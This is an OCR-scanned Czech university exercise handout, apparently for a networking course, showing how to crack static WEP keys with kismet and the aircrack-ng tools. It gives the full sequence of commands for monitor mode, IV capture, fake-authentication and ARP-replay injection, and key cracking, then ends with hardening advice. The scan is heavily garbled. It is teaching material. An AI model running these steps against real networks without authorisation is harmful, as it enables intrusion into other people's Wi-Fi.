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Hack WEPu
Nepovinné doplitkkové cviceni z Pocitacovych siti 1 (IPOSI, ptipadné IPOSE) pro zajemce.

Popis je uréen pro distribuci UBUNTU" (zhruba 9.04+) a sit€ 802.11b zabezpecené statickym WEP
klicem se Sifrou RC4.

Na TKIP/RC4 postup zatim nelze pouzit z t€chto divodii:

« IV?je zvétSen na 48bitli — bylo by tfeba 16M x vice ¢asu, ¢i zachycenych dat. Ale s ptichodem
802.11n ... nikdy netikej nikdy

 Implementovén Message Integrity Check (Michael) — velmi ztizeny externi injekting’ ramct (da
se castecné obejit, pokud jsme schopni generovat vysoky provoz jinym zptusobem (pfistup do
vnitini sit€¢, komunikace s klientem ve vnitini siti...)

¢ KIi¢ zac¢ina na velikosti 128b

* Dynamicky se ménici cel¢ kli¢e — asi nejvétsi zadrhel — kdyz je kli¢ hacknut, je uz beznadéjné
zastaraly...

Nastroje

Co budeme potiebovat:
* hodi se kismet —neni nezbytny
* aireplay (miZe bytiaireplay-ng)
* airodump (muze bytiairodump-ng)
* aircrack (muze bytiaircrack-ng)

Nastroje jsou dostupné z balicki jednoduse napt. pomoci Synapticu nebo piikazem®:
sudo apt-get install balicek.

Postup
Postup je mozné rozdélit do n¢kolika navazujicich krokd:
1. Nastaveni parametrti nasi Wifi karty
2. Zjisténi parametrt cilové site, kterou se snazime hacknout.
3. Zachytavani komunikace.
4. Injekce paketl — neni nutné pokud mame trpélivost v fadu hodin, nebo je sit’ intenzivné
vyuzivana.
5. Crack klice.

6. PriihlaSeni do sit¢ (Autentifikace, Autentizace, nastaveni 3. vrstvy)

[

V principu na pouzité distribuci vlastné nezalezi, hlavné at’ to neni distribuce z Redmondu

2 Inicializa¢ni vektor — dynamicky se ménici ¢ast klice (24b) spolu se statickou ¢asti klice (napt. 40b) vytvaii cely 64b
kli¢ pouzity v komunikaci. Proto hledame 5 ASCII znaku, nebo 10 hexa ¢islic u 64b WEPu.

Nemam vhodné ¢eské synonymum — snad vstiikovani podvrhnutich ramci do provozu sité...brrrr

4 Témet vSechny piikazy budou potiebovat prava uzivatele root - doporucuji na chvili pracovat pod rootem, nebo z toho
psani sudo zblaznite

W
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Detailni popis jednotlivych kroku

1 Nastaveni parametrt nasi Wifi karty
VSechny ptikazy jako root!

1. Usmrt'te okenni sitové udélatko — potfebujeme mit kartu pouze pro sebe
+ killall knetworkmanager
+ killall wicd
+ killall dhclient
+ killall avahi-daemon

2. Zjistéte si jakd mate sitova zafizeni — a vyberte to spravné (dale wlan0)
e ifconfig -a°

3. Deaktivujte kartu

« ifconfig wlan@ down

2 Zjisténi parametru cilové sité

Budeme potiebovat nasledujici tdaje:
*  SSID sité (nebo ESSID) — nézev sité
*  BSSID sité — vétsinou plati, ze BSSID = HW adresa AP°
* pouzity kanal

* hodi se informace o pouzitelné minimalni rychlosti

a) resent s Kismetem’ (pokud se nezdaii — jd&te na b)

Pokud se po zadani piikazu kismet — odmita spustit s hlaSenim: FATAL: please configure at
least one packet source

— je tfeba nejprve zkonfigurovat alespon jedno zachytavaci zatizeni
1. Editujte konfiguracni soubor:
 vim /etc/kismet/kismet.conf

2. Radek source=none, none,addme nahrad’te vhodnymi parametry pro vasi bezdratovou kartu
(lspci, lsusb, dmesg...). V pofadi source=zdroj,ndzev _zarizeni, driver (vim
/usr/share/doc/kismet/README. gz — sekce CAPTURE SOURCES). Nebo zkousejte, dokud
kismet nenajede®.

* napf. pro Intel Wireless: source=ipw3945,wlan0,Centrino ag

* nebo pro Cisco 340: source=cisco wifix,eth@:wifi®,ciscosource

VypisSe vSechny karty — i ty, které zatim nemaji zkonf. 2. a 3. vrstvu

AP — Access point — pristupovy bod

Skener sité, ktery pohodIné prohlédne okoli (na vsech kandlech) a zobrazi seznam siti
Pokud si nevite rady, zkuste zadat vasi wifi kartu a slova kismet source do googlu

0 3 N D
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3. Spustte: kismet — po chvili se objevi sité ve vasem okoli

Network List—(SSID)
Name Ch Packts Flags IP Range
! <no ssid> A 011 4776 .0.0.0
<no ssid=> 011 503 .0.0.0

! eduroam 011 4859 .0.0.0

eduroam 011 625 .0.0.8
eduroam 011 23
eel 4899

Battery: AC

Network List—(SSID) Info
Name TWECh Ntwrks
 setiidte podle SSID (klavesy s, s) T

* vyberte si cilovou sit’ (name) a zjistéte
informace (klavesa i)

e SSID
e BSSID
e Channel

* Podporované rychlosti — kismet neukazuje
mozné odhadnout z Carrier)

b) Reseni se standardnimi piikazy (bez Kismetu)

1. Svoji bezdratovou sitovou kartu uspéte a piepnéte do moédu Managed’
« 1ifconfig wlanO down
« iwconfig wlan@ mode managed

2. Nastavte rucné spravny kanal, na kterém se chcete porozhlédnout po n&jaké siti'’
e« iwconfig wlan@ channel 1

3. Kartu zapnéte a proskenujte okoli
« ifconfig wlan0@ up
« iwlist wlan® scanning

4. Pokud jste na spravném kanéle — vidite beacon ramec cilové sité

9 Managed pro topologii BSS (s AP), ad-hoc pro topologii /IBSS (bez AP), Monitor pro promiskuitni monitoring okoli bez
asociace — karta bude pfijimat ramce, i kdyZ neni autentizovana/asociovana do zadné sité

10 V tomto je odlisnost oproti pouziti kismetu — mtzete si prohlédnout vzdy pouze jeden kanal a pak musite ru¢né
pfepnout na jiny. Existuji samoziejmeé skripty pro automatické pieskakovani.
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5. Zapiste si pottebné udaje:
e SSID (ESSID)
* BSSID (Address)
*  Channel — vite

*  Bit Rates — hodi se védét minimalni podporovanou rychlost

6. Nastaveni rychlosti — nepovinné

» Je-li sit’ Spatné slySitelnd (napf. Signal Level = -80dBm a Noise Level = -85dBm) miiZete
zvysit Sance na uspéch snizenim rychlosti komunikace na minimum podporované AP — viz
Bit Rates (napt. u DSSS to znamena, ze se pouzije DBPSK a budete schopni komunikovat i
na zna¢né vzdalenosti.

« iwconfig wlan@ rate 1M

* Pozor — administratofi ¢asto rychlosti 1Mbit/s / 2Mbit/s zamérné deaktivuji kvili tzv.
hiden node problemu"

3 Zachytavani komunikace
1. Ptepnéte kartu do monitorovaciho modu
« ifconfig wlan@ down
e+ 1iwconfig wlan@ mode monitor
« 1ifconfig wlan0O up
2. Spust'te zachytavani komunikace na zvoleném kanéle do souboru
e airodump-ng wlan® --channel 1 -w aird.txt --ivs?®

* -ivs —budou se ukladat pouze 7V

* -wzapis do souboru

11 Problém vzdaleného (zastinéného) uzlu, zptisobujiciho selhavani CSMA/CA algoritmu.
12 Pokud se obévi hlaseni: failed: Device or resource busy — zkuste shodit/nahodit — ifconfig down...
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3. Zachytavani nechte bézet
* Rychlost ,,naskakovani“ poctu datovych ramci je zavisla na vytizeni sité

* Pro WEP 64b je vhodné zachytit alespon 500tis ramct, pro WEP 128b 1M ramci

ENC CIPHER AUTH ESSID

0PN
WEP WEP
0PN

4 Injekce paketu

Tento krok neni nutny, pokud méme na zachytavani tieba celou noc.

Rychlost generovani paketi je ale mozné uspisit:

a) pokud mame pristup na néktery z pocitacii v siti (fyzicky, nebo z vnéjsi site)
1. Vytvofenim intenzivni komunikace

* napf.:. ping -f pocitac

b) pokud nemame pristup do vnitrni sité
1. Pokusime se podvrhnout autentizaci — donutime 4P odpovidat na autentizacni pozadavky
*  pro open-system autentizaci:
e aireplay-ng -a 00:4F:.... -h 00:11:.... wlanO --fakeauth 0
* -a—BSSID AP
* -h—nasSe HW adresa — kterou sdélujeme AP
* wlan® —naSe wifi karta

* --fakeauth 0 —mod utoku, v tomto piipad¢ faleSna autentizace na 4P opakovana po

Case Os
-h 00:11:

specified MAC (-h)

) on channel 1

em) [ACK]

e aireplay-ng -b 00:4F:.... -h 00-11.... wlanO --arpreplay
* -b—BSSID AP
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* -h—nase HW adresa — kterou sdélujeme AP
* wlan0® —nase wifi karta
* —arpreplay — ARP dotazy na AP (AP bude odpovidat)

* Po spusténi se po chvili (10 s - 1 min) se zane zvySovat polozka sent

V tuto chvili mizeme pozorovat ve vypisu airdumpu zvySenou rychlost pfibyvani zachycenych
ramcil

Crack klice (statické casti WEPu)

Po dostatecném poctu zachycenych rdmct muzete zkusit nalezt kli¢

* zachytavani airodump-ng nepferusujte — kdyz kli¢ nenaleznete nyni, zkuste to za chvili na
vetsSim souboru

* soubor s kli¢i predhod’te aircracku:

e aircrack-ng aird.txt-01.ivs

WEP (24 IVs)

* po n¢kolika min:
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6 Prihlaseni do sité

1. Zastavte airodump-ng

2. Nastavte parametry pomoci Wicd, nebo ru¢né a ptihlaste se:

Zaveér

Pouceni:

ifconfig
iwconfig
iwconfig
iwconfig
ifconfig
dhclient

ping www

wlan@ down

wlan® mode Managed

wlan0® essid pda

wlan0 key restricted [1] AOB1C2D3E4
wlan0 up

wlan0

.auto.cz

» Zabezpeceni statickym klicem WEP u legacy 802.11 a 802.11b zatizeni je dnes zcela
nedostate¢né

* Pokud jste nuceni jej pouZzit (kompatibilita se star§imi zafizenimi) kombinujte jej s
nasledujicimi pravidly

cvwr

* omezte vykon na nejnizsi akceptovatelny
* pouzivejte tabulku validnich MAC adres

» zapnéte WEP na 128bit (max. velikost)

* pravideln¢ WEP klice méiite ;)

* pouzivejte statické pridélovani IP adres

* nastavte Uzky rozsah IP, nebo povolené IP

» zakazte prezentaci SSID

* znemoznéte fyzicky piistup k AP

* pravidelné kontrolujte sit’ i logy z AP

* pouzivejte VPN, RADIUS autentizaci...

* Vice na piednaSce o sitich 802.11
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